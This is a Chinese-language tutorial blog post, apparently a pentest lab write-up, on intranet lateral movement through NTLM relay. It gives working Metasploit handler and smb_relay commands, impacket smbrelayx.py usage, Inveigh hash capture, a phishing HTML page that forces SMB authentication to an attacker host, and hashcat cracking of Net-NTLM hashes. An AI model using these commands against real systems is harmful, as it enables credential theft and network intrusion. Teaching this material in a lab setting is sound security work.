前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

【内网安全】横向移动&NTLM-Relay重放&Responder中继攻击&Ldap&Ews

作者头像
没事就要多学习
发布2024-07-18 15:27:39
920
发布2024-07-18 15:27:39
举报
文章被收录于专栏:Cyber Security
章节点

IPC,WMI,SMB,PTH,PTK,PTT,SPN,WinRM,WinRS,RDP,Plink,DCOM,SSH;Exchange,LLMNR投毒,NTLM-Relay,Kerberos_TGS,GPO&DACL,域控提权漏洞,约束委派,数据库攻防,系统补丁下发执行,EDR定向下发执行等。

基本知识点

与NLTM认证相关的安全问题主要有Pass The Hash、利用NTLM进行信息收集、Net-NTLM Hash破解、NTLM Relay几种。PTH前往期文章复现,运用mimikatz、impacket工具包的一些脚本、CS等等都可以利用,NTLM Relay又包括(relay to smb,ldap,ews) 可以应用在获取不到明文或HASH时采用的手法,但也要注意手法的必备条件。

由于该Relay攻击要涉及到NTLM认证和Net-NTLM Hash,所以我们先来了解一下NTLM认证过程和什么是Net-NTLM Hash。

NTLM Hash:NTLM hash 就是里面加密保存了用户密码的 hash。Windows 中的用户密码被系统加密后保存在 SAM 文件中,如果是域环境则保存在域控的 NTDS.dit 中。

Net-NTLM Hash:Net-NTLM Hash 是基于用户密码的NTLM Hash计算出来的,用于在网络环境下 NTLM 认证的 hash。在下面的NTLM认证过程中你可以知道Net-NTLM Hash产生的过程。

NTLM认证过程

  1. 当客户端需要访问服务器时,客户端需要输入服务器的用户名和密码进行验证,并且客户端会将服务器的NTLM-Hash值缓存。之后客户端开始向服务器发送 TYPE 1 Negotiate 协商消息。
  2. 服务器收到客户端发送来的 TYPE 1 协商消息后,会取出其中自己能够接受的内容,传入NTLM SSP,得到 TYPE 2 挑战消息,此 TYPE 2消息中包含了一个由服务端生成的16位随机值,被称为 Challenge。服务器将此challenge保存一份后将TYPE 2消息发送回客户端。
  3. 客户端收到服务器发来的TYPE 2消息后,读出其中的challenge值,用缓存的服务端密码的NTLM-Hash对其进行加密,并与用户名、challenge等一起组合得到 Net-NTLMHash ,最后将 Net-NTLMHash 封装到 TYPE 3 NTLM_AUTH消息中发往服务器。
  4. 服务器在收到 TYPE 3 的消息之后,用自己密码的 NTLM-Hash 对 Challenge 进行加密,并比较自己计算出的 Net NTLM-Hash 认证消息和客户端发送的认证消息是否匹配。如果匹配,则证明客户端掌握了正确的密码,认证成功,否则认证失败。

如果是在域环境中,那么认证过程会经过域控制器: 4. 服务器接收到客户端发送来的 TYPE 3 消息后,取出其中的Net NTLM-Hash值,并向域控制器发送针对客户端的验证请求。该请求的内容包含:用户名、原始的 Challenge 和 加密后的Challenge(也就是Net NTLM-Hash)。 5. DC根据用户名取出该帐号的密码哈希值 NTLM-Hash,用密码哈希值 NTLM-Hash 对原始的Challenge进行加密得到Net NTLM-Hash。如果加密后的Challenge和服务器发送的一致,则意味着用户拥有正确的密码,验证通过,否则验证失败。DC将验证结果发给服务器。 服务器根据DC返回的结果,对客户端进行回复 在这里,如果我们获得了NTLM-Hash,那么我们可以直接进行PTH攻击,但不能用来Relay;而如果我们获得了Net NTLM-Hash,那么我们可以对其进行爆力破解得到明文,也可以利用Net NTLM-Hash进行中继攻击。

横向移动-NTLM中继攻击-Relay重放-SMB上线

条件

通讯双方当前用户和密码一致 例如 webserver中有本地用户administrator/admin!@#45 并且sqlserver本地用户也有administrator/admin!@#45 那么可以通过 dir \192.168.3.32\c$访问到sqlserver下C盘文件,因为访问时默认会使用当前用户密码进行验证对方电脑账号密码

在这里插入图片描述
在这里插入图片描述

当访问DC(administrator/Admin12345)时,密码错误,就无法查看DC目录

在这里插入图片描述
在这里插入图片描述

cs转发上线msf

CS:

代码语言:javascript
复制
spawn l-msf

MSF: 监听上线:

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 8787
run

添加路由:

代码语言:javascript
复制
run autoroute -p //查看当前路由表
run post/multi/manage/autoroute //添加当前路由表
backgroup //返回
在这里插入图片描述
在这里插入图片描述

smb_relay模块(ms08-068)

重发模块:

代码语言:javascript
复制
use exploit/windows/smb/smb_relay
set smbhost 192.168.3.32 //转发攻击目标
set lhost 47.94.130.xx   //设置本地IP
set autorunscript post/windows/manage/migrate

主动连接:

代码语言:javascript
复制
set payload windows/meterpreter/bind_tcp
set rhost 192.168.3.32 //设置连接目标
run

关键是如何获取administrator权限 从system权限进行令牌窃取获取administrator权限

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

msf下窃取令牌

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

很遗憾没有复现成功(生成新的对话) 在公网vps上测试:

在这里插入图片描述
在这里插入图片描述

一开始以为是网络问题,切换至本地kali上同样也是只返回一段hash值,并没有生成新的对话

在这里插入图片描述
在这里插入图片描述

Impacket中的smbrelayx.py

攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1(webserver)访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2(sqlserver) 。

代码语言:javascript
复制
 ./smbrelayx.py -h <Client2 IP> -c Command
在这里插入图片描述
在这里插入图片描述

……

横向移动-NTLM中继攻击-Inveigh嗅探-Hash破解

条件:被控主机当前管理员权限 Responder中继攻击-NTLM Hash破解 https://github.com/hashcat/hashcat/ https://github.com/Kevin-Robertson/Inveigh 1、监听拦截

代码语言:javascript
复制
Inveigh.exe

获取到的是NET NTLM HASH V1或V2 2、触发拦截

代码语言:javascript
复制
dir \\192.168.3.x\c$

2.1、钓鱼触发 http://192.168.3.31/1.html

代码语言:javascript
复制
<!DOCTYPE html>
<html>
<head>
  <title></title>
</head>
<body>
  <img src="file:///\\192.168.3.32\2">
</body>
</html>

3、破解密文

代码语言:javascript
复制
hashcat -m 5600 hash pass.txt --show
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 章节点
  • 基本知识点
    • NTLM认证过程
    • 横向移动-NTLM中继攻击-Relay重放-SMB上线
      • 条件
        • cs转发上线msf
          • smb_relay模块(ms08-068)
          • Impacket中的smbrelayx.py
          • 横向移动-NTLM中继攻击-Inveigh嗅探-Hash破解
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档